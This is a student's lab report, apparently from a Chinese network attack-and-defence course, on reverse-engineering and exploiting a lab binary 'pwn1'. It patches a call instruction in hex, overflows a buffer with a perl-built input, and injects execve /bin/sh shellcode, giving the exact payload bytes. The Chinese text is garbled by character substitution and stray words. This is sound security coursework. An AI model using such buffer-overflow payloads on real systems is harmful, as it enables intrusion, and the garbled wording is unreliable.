2018-2019-2 网络对抗技术 20165329 Exp1 PC平台逆向破解linux
做业内容shell
评分标准:编程
- 截图要求:
1.1 全部操做截图主机名为本人姓名拼音windows
1.2 所编辑的文件名包含本身的学号sass
如未按如上格式要求,则相应部分报告内容不记成绩。安全
2 报告内容网络
2.1 用本身的话回答如下问题:dom
2.1.1 实验收获与感想函数
2.1.2 什么是漏洞?漏洞有什么危害?spa
2.2 须要描述的内容
2.2.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)
2.2.2掌握反汇编与十六进制编程器 (0.5分)
2.2.3能正确修改机器指令改变程序执行流程(0.5分)
2.2.4能正确构造payload进行bof攻击(0.5分)
3.报告总体观感
3.1 报告格式范围,版面整洁 加0.5。
3.2 报告排版混乱,加0分。
4.文字表述
4.1报告文字内容很是全面,表述清晰准确 加1分。
4.2报告逻辑清楚,比较简要地介绍了本身的操做目标与过程 加0.5分。
4.3报告逻辑混乱表述不清或文字有明显抄袭可能 加0分。
实验收获与感想
经过此次实验,让我对本次实验的缓冲区溢出攻击的原理有了必定的了解。经过询问同窗,查考网上资料慢慢的一步一步解决了实验的难点,虽然对这次实验的原理没有理解的那么深刻,可是仍是受益不浅,更加喜欢上了这门课程。
什么是漏洞?漏洞有什么危害?
我以为漏洞是在设计制造程序产品时,只考虑该程序的功能实现,未充分考虑其安全性的问题,致使程序在安全策略上存在缺陷,使得攻击者可利用该缺陷进行破环与攻击。它的危害可能会取得该程序的控制权,进而经过命令控制整个主机,致使受到攻击。
NOP, JNE, JE, JMP, CMP汇编指令的机器码
一、首先将pwn1文件经过共享文件夹传入虚拟机当中,经过chmod +x pwn1指令加权限,而后objdump -d pwn1
,反汇编pwn1文件。
二、反汇编结束后发现:main函数里面有一步call 8048491<foo>
,机器码指令为e8 d7 ff ff ff
(call的机器码就是e8,后面是地址)。
经过进一步的分析:08048491是0804847d是咱们的跳转目标。
0x08048491 - 0x0804847d = 0x00000014//计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3//计算要篡改的目标地址
vi pwn1
进入命令模式:%!xxd
将显示模式切换为十六进制/e8 d7
定位须要修改的地方,并确认d7
为c3
:%!xxd -r
将十六进制转换为原格式wq
保存并退出
经过上述步骤看见个人main函数里面已经修改成e8 c3 ff ff ff
四、执行./pwn1
文件能够成功获取shell:
完成第一个实验。
一、
使用gdb
命令,file pwn1
载入pwn1文件,输入gdb pwn1。
输入r
执行pwn1,这时程序正常执行,在foo子函数调用的过程当中,须要咱们输入一个字符串。
输入36个字符后回车:abcdefghijklmnopqrstuvwxyz1234567890
二、
此时eip寄存器中的值为0x30393837,eip
寄存器的值是保存程序下一步所要执行指令的地址,本次实验用的是小端机器,30、3九、3八、37分别是0、九、八、7对应的ASCII码,那么也就是说最后4位恰好完成溢出,覆盖掉返回地址了。
咱们须要使用perl语句,用管道的方式把上一个命令的结果做为下一个的输入。
使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
而后将input的输入,经过管道符“|”,做为pwn1的输入。攻击成功之后出现的截图:
‘
完成第二个实验。
修改如下内容
查询地址随机化是否关闭(0表明关闭,2表明开启)more /proc/sys/kernel/randomize_va_space
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。咱们把它改成这段shellcode
的地址。
肯定返回地址的值
(cat input_shellcode;cat) | ./pwn1
ps -ef | grep pwn1
肯定pwn1的进程号gdb
attach 5305
disassemble foo
下图能够看到0x01020304所在的地址为0xffffd22c
,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即
0xffffd22c + 0x00000004 = 0xffffd230
退出gdp调试。
输入
perl -e 'print "A" x 32;print "\x30\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
第三个实验完成